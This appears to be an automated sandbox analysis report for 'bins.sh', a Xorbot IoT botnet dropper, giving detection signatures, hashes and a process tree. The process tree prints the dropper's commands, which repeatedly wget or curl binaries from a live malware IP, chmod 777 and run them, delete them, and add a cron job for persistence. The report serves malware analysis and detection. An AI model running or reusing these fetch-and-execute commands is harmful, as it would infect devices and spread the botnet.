Analysis

  • max time kernel
    142s
  • max time network
    152s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240729-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240729-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    02-12-2024 19:11

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    0b5635532d2f1fa548c3a52df6cafeb3

  • SHA1

    28fad0a1c84fa6e72b1212c0ac1324440c690b1a

  • SHA256

    04395ad444da152645554affea085999878fe2808aecd53798bd73c2b5a10d50

  • SHA512

    ce1b43efa4c05530b1e6cd86b6d02519bce2048be45bf0c61f59028ebd8a3aca058c4c3d827401cd1e5d5433ab3bc595204472266f880252124a1673e4e94ce7

  • SSDEEP

    192:oDuwScugogdt0DVY5BLMQIguwScugog3Z5BLMQw:oNaDVY5BLMQI45BLMQw

Malware Config

Signatures

  • Detects Xorbot 5 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • Contacts a large (1717) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 7 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 7 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 17 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:699
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:701
        • /usr/bin/wget
          wget http://216.126.231.240/bins/kcsz25y7FmrOU4pCyKCn2Y0nrr6KfjZatL
          2⤵
          • Writes file to tmp directory
          PID:703
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/kcsz25y7FmrOU4pCyKCn2Y0nrr6KfjZatL
          2⤵
          • Writes file to tmp directory
          PID:728
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/kcsz25y7FmrOU4pCyKCn2Y0nrr6KfjZatL
          2⤵
          • Writes file to tmp directory
          PID:729
        • /bin/chmod
          chmod 777 kcsz25y7FmrOU4pCyKCn2Y0nrr6KfjZatL
          2⤵
          • File and Directory Permissions Modification
          PID:730
        • /tmp/kcsz25y7FmrOU4pCyKCn2Y0nrr6KfjZatL
          ./kcsz25y7FmrOU4pCyKCn2Y0nrr6KfjZatL
          2⤵
          • Executes dropped EXE
          PID:731
        • /bin/rm
          rm kcsz25y7FmrOU4pCyKCn2Y0nrr6KfjZatL
          2⤵
            PID:733
          • /usr/bin/wget
            wget http://216.126.231.240/bins/ZIVpSCKgDPy3F4108ffmKfay9IWNC4FbFI
            2⤵
            • Writes file to tmp directory
            PID:734
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/ZIVpSCKgDPy3F4108ffmKfay9IWNC4FbFI
            2⤵
            • Writes file to tmp directory
            PID:737
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/ZIVpSCKgDPy3F4108ffmKfay9IWNC4FbFI
            2⤵
            • Writes file to tmp directory
            PID:750
          • /bin/chmod
            chmod 777 ZIVpSCKgDPy3F4108ffmKfay9IWNC4FbFI
            2⤵
            • File and Directory Permissions Modification
            PID:757
          • /tmp/ZIVpSCKgDPy3F4108ffmKfay9IWNC4FbFI
            ./ZIVpSCKgDPy3F4108ffmKfay9IWNC4FbFI
            2⤵
            • Executes dropped EXE
            PID:758
          • /bin/rm
            rm ZIVpSCKgDPy3F4108ffmKfay9IWNC4FbFI
            2⤵
              PID:762
            • /usr/bin/wget
              wget http://216.126.231.240/bins/p33qkY1gklk5rgaxEEe52mbg2OzLbdg0oH
              2⤵
              • Writes file to tmp directory
              PID:763
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/p33qkY1gklk5rgaxEEe52mbg2OzLbdg0oH
              2⤵
              • Reads runtime system information
              • Writes file to tmp directory
              PID:771
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/p33qkY1gklk5rgaxEEe52mbg2OzLbdg0oH
              2⤵
              • Writes file to tmp directory
              PID:784
            • /bin/chmod
              chmod 777 p33qkY1gklk5rgaxEEe52mbg2OzLbdg0oH
              2⤵
              • File and Directory Permissions Modification
              PID:788
            • /tmp/p33qkY1gklk5rgaxEEe52mbg2OzLbdg0oH
              ./p33qkY1gklk5rgaxEEe52mbg2OzLbdg0oH
              2⤵
              • Executes dropped EXE
              PID:789
            • /bin/rm
              rm p33qkY1gklk5rgaxEEe52mbg2OzLbdg0oH
              2⤵
                PID:792
              • /usr/bin/wget
                wget http://216.126.231.240/bins/Y4AN11xKNimY2VT9yNnEedj6M2jg4cq1Lb
                2⤵
                • Writes file to tmp directory
                PID:793
              • /usr/bin/curl
                curl -O http://216.126.231.240/bins/Y4AN11xKNimY2VT9yNnEedj6M2jg4cq1Lb
                2⤵
                • Writes file to tmp directory
                PID:794
              • /bin/busybox
                /bin/busybox wget http://216.126.231.240/bins/Y4AN11xKNimY2VT9yNnEedj6M2jg4cq1Lb
                2⤵
                • Writes file to tmp directory
                PID:795
              • /bin/chmod
                chmod 777 Y4AN11xKNimY2VT9yNnEedj6M2jg4cq1Lb
                2⤵
                • File and Directory Permissions Modification
                PID:798
              • /tmp/Y4AN11xKNimY2VT9yNnEedj6M2jg4cq1Lb
                ./Y4AN11xKNimY2VT9yNnEedj6M2jg4cq1Lb
                2⤵
                • Executes dropped EXE
                PID:800
              • /bin/rm
                rm Y4AN11xKNimY2VT9yNnEedj6M2jg4cq1Lb
                2⤵
                  PID:803
                • /usr/bin/wget
                  wget http://216.126.231.240/bins/FQzPhQANFQFeZ84bzQy5gM4fDCUL6g5RFK
                  2⤵
                  • Writes file to tmp directory
                  PID:804
                • /usr/bin/curl
                  curl -O http://216.126.231.240/bins/FQzPhQANFQFeZ84bzQy5gM4fDCUL6g5RFK
                  2⤵
                  • Writes file to tmp directory
                  PID:815
                • /bin/busybox
                  /bin/busybox wget http://216.126.231.240/bins/FQzPhQANFQFeZ84bzQy5gM4fDCUL6g5RFK
                  2⤵
                  • Writes file to tmp directory
                  PID:830
                • /bin/chmod
                  chmod 777 FQzPhQANFQFeZ84bzQy5gM4fDCUL6g5RFK
                  2⤵
                  • File and Directory Permissions Modification
                  PID:836
                • /tmp/FQzPhQANFQFeZ84bzQy5gM4fDCUL6g5RFK
                  ./FQzPhQANFQFeZ84bzQy5gM4fDCUL6g5RFK
                  2⤵
                  • Executes dropped EXE
                  • Renames itself
                  • Reads runtime system information
                  PID:837
                  • /bin/sh
                    sh -c "crontab -l"
                    3⤵
                      PID:839
                      • /usr/bin/crontab
                        crontab -l
                        4⤵
                          PID:840
                      • /bin/sh
                        sh -c "crontab -"
                        3⤵
                          PID:841
                          • /usr/bin/crontab
                            crontab -
                            4⤵
                            • Creates/modifies Cron job
                            PID:842
                      • /bin/rm
                        rm FQzPhQANFQFeZ84bzQy5gM4fDCUL6g5RFK
                        2⤵
                          PID:844
                        • /usr/bin/wget
                          wget http://216.126.231.240/bins/pm01slsnyZPCqtmU1ocCSDukGRYA4X8Xl2
                          2⤵
                            PID:847
                          • /usr/bin/curl
                            curl -O http://216.126.231.240/bins/pm01slsnyZPCqtmU1ocCSDukGRYA4X8Xl2
                            2⤵
                              PID:848
                            • /bin/busybox
                              /bin/busybox wget http://216.126.231.240/bins/pm01slsnyZPCqtmU1ocCSDukGRYA4X8Xl2
                              2⤵
                              • Writes file to tmp directory
                              PID:929
                            • /bin/chmod
                              chmod 777 pm01slsnyZPCqtmU1ocCSDukGRYA4X8Xl2
                              2⤵
                              • File and Directory Permissions Modification
                              PID:930
                            • /tmp/pm01slsnyZPCqtmU1ocCSDukGRYA4X8Xl2
                              ./pm01slsnyZPCqtmU1ocCSDukGRYA4X8Xl2
                              2⤵
                              • Executes dropped EXE
                              PID:931
                            • /bin/rm
                              rm pm01slsnyZPCqtmU1ocCSDukGRYA4X8Xl2
                              2⤵
                                PID:933
                              • /usr/bin/wget
                                wget http://216.126.231.240/bins/jzEGeNr589EmXkLx1YvIjtGsERiNdCFCiO
                                2⤵
                                  PID:934
                                • /usr/bin/curl
                                  curl -O http://216.126.231.240/bins/jzEGeNr589EmXkLx1YvIjtGsERiNdCFCiO
                                  2⤵
                                  • Reads runtime system information
                                  PID:935
                                • /bin/busybox
                                  /bin/busybox wget http://216.126.231.240/bins/jzEGeNr589EmXkLx1YvIjtGsERiNdCFCiO
                                  2⤵
                                  • Writes file to tmp directory
                                  PID:936
                                • /bin/chmod
                                  chmod 777 jzEGeNr589EmXkLx1YvIjtGsERiNdCFCiO
                                  2⤵
                                  • File and Directory Permissions Modification
                                  PID:937
                                • /tmp/jzEGeNr589EmXkLx1YvIjtGsERiNdCFCiO
                                  ./jzEGeNr589EmXkLx1YvIjtGsERiNdCFCiO
                                  2⤵
                                  • Executes dropped EXE
                                  PID:938
                                • /bin/rm
                                  rm jzEGeNr589EmXkLx1YvIjtGsERiNdCFCiO
                                  2⤵
                                    PID:940
                                  • /usr/bin/wget
                                    wget http://216.126.231.240/bins/KSIY09tmSBFdM8xOgFZaN6ESzOXJ7nmQK8
                                    2⤵
                                      PID:941

                                  Network

                                  MITRE ATT&CK Enterprise v15

                                  Replay Monitor

                                  Loading Replay Monitor...

                                  Downloads

                                  • /tmp/FQzPhQANFQFeZ84bzQy5gM4fDCUL6g5RFK

                                    Filesize

                                    151KB

                                    MD5

                                    3c90d5820bddcf7c5d1bd21dfa49d958

                                    SHA1

                                    5ba05bd489e50af97d6dc45e3a0be60e494d5083

                                    SHA256

                                    bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                                    SHA512

                                    54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                                  • /tmp/Y4AN11xKNimY2VT9yNnEedj6M2jg4cq1Lb

                                    Filesize

                                    177KB

                                    MD5

                                    786d75a158fe731feca3880f436082c0

                                    SHA1

                                    79ea2734e43d00cdeabed5586b2c1994d02aef3e

                                    SHA256

                                    5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

                                    SHA512

                                    7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

                                  • /tmp/ZIVpSCKgDPy3F4108ffmKfay9IWNC4FbFI

                                    Filesize

                                    112KB

                                    MD5

                                    05d7857dcead18bbd86d2935f591873c

                                    SHA1

                                    34d18f41ef35f93d5364ce3e24d74730a4e91985

                                    SHA256

                                    2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                                    SHA512

                                    d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                                  • /tmp/jzEGeNr589EmXkLx1YvIjtGsERiNdCFCiO

                                    Filesize

                                    98KB

                                    MD5

                                    5141342d0df8699fa32a6b066a0c592e

                                    SHA1

                                    8157673225bd5182f16215e2aa823a25ca2d4fbc

                                    SHA256

                                    54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

                                    SHA512

                                    d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

                                  • /tmp/kcsz25y7FmrOU4pCyKCn2Y0nrr6KfjZatL

                                    Filesize

                                    107KB

                                    MD5

                                    eb9c3a0de91fcf16ba17cb24608df68c

                                    SHA1

                                    09d95a7d70d5e115d103be51edff7c498d272fac

                                    SHA256

                                    dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

                                    SHA512

                                    9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

                                  • /tmp/p33qkY1gklk5rgaxEEe52mbg2OzLbdg0oH

                                    Filesize

                                    99KB

                                    MD5

                                    9438d9bc392bcf300a5583b6df5bc8f6

                                    SHA1

                                    375a6ae34b516f6f3eeea8030c4084f585017efa

                                    SHA256

                                    68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

                                    SHA512

                                    1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

                                  • /tmp/pm01slsnyZPCqtmU1ocCSDukGRYA4X8Xl2

                                    Filesize

                                    111KB

                                    MD5

                                    701e7a55a4f3650f5feee92a9860e5fc

                                    SHA1

                                    6ce4a7f0dc80fe557a0ace4de25e6305af221ed4

                                    SHA256

                                    ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588

                                    SHA512

                                    7352517b4af3b0cfe1cc814accf18e6254532f33dee274279bd499b6748aa0ed044c9429d6df0eb07ff0292cd0f9388ce44d278e0c562e6e57110b28a66a5f11

                                  • /var/spool/cron/crontabs/tmp.YgRD8l

                                    Filesize

                                    210B

                                    MD5

                                    475b6c29603838c29eba21e1ac7b442a

                                    SHA1

                                    bee50da7bd47ef05ebbbdb7fa9d0f3768ecb8a95

                                    SHA256

                                    112bbda67b91d4e34be2c7e85d291b008f5d138adce31c9ae3e872ab380e15da

                                    SHA512

                                    22b54104669362ae87707510e27ed5e1573816c1941a7a864e120bdf626b48dbc1d6aaa4a6b5f98ba95b33e3f0d24a97f75ea2a5802f15c418d7ed4e15f11fd7